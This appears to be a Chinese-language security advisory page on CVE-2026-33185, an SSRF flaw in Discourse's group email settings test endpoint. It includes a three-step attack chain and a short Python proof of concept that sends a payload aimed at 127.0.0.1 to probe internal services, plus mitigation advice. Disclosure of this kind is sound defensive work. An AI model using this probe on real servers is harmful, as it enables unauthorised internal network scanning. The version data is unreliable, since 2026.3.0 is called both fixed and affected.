IPBUF安全漏洞报告
English
CVE-2026-33185 CVSS 5.0 中危

CVE-2026-33185 Discourse 组邮件设置SSRF漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-33185
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

SSRFDiscourse信息泄露中危

漏洞概述

Discourse开源论坛平台存在一个服务器端请求伪造(SSRF)漏洞。在受影响版本中,组邮件设置测试端点允许非工作人员的组所有者控制服务器向任意主机和端口发起出站连接。攻击者可利用此漏洞探测内部网络基础设施,获取敏感信息。该漏洞已在2026.1.3、2026.2.2和2026.3.0版本中修复。

技术细节

该漏洞源于Discourse组管理功能中的邮件设置测试接口缺乏严格的输入验证。非工作人员的组所有者拥有访问该测试接口的权限,但该接口未对请求的目标地址进行有效限制。攻击者可以通过构造恶意的HTTP请求,指定任意的IP地址和端口作为测试目标,诱导Discourse服务器向该目标发起连接请求。由于攻击向量为网络(AV:N),且无需用户交互(UI:N),攻击者可远程利用此漏洞。由于范围改变(S:C),攻击者可能利用该特性扫描服务器所处的内网环境,识别内网中的开放端口、服务或其他资产,从而为进一步的内网渗透攻击提供情报支持。虽然CVSS评分显示机密性影响为低(C:L),但在复杂的内网环境中,信息泄露可能导致更严重的后果。

攻击链分析

STEP 1
侦察与认证
攻击者获取Discourse论坛上一个组所有者角色的账号凭证。
STEP 2
漏洞利用
攻击者访问组邮件设置测试端点,修改请求参数中的目标主机和端口,指向内网敏感地址(如127.0.0.1或内网网段IP)。
STEP 3
内网探测
Discourse服务器向攻击者指定的内网地址发起连接。攻击者根据服务器的响应时间或返回的错误信息,判断内网端口是否开放,从而探测内部网络结构。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://target-discourse.com" # The endpoint for testing group email settings (Conceptual) # Requires authentication as a group owner endpoint = "/groups/test_email_settings.json" # Example endpoint path session = requests.Session() # Login logic would go here to obtain session cookies # Malicious payload targeting an internal service (e.g., localhost:80) payload = { "host": "127.0.0.1", "port": 80, "test_type": "connection" } try: response = session.post(f"{target_url}{endpoint}", data=payload) if response.status_code == 200: print("Potential SSRF triggered. Check response for connection details.") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Discourse 2026.1.0 - 2026.1.2
Discourse 2026.2.0 - 2026.2.1
Discourse 2026.3.0

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)拦截针对邮件设置测试接口的异常请求,特别是包含内网IP地址或特定端口的请求。同时,严格审查并撤销不必要的组所有者权限,确保只有可信人员拥有该权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表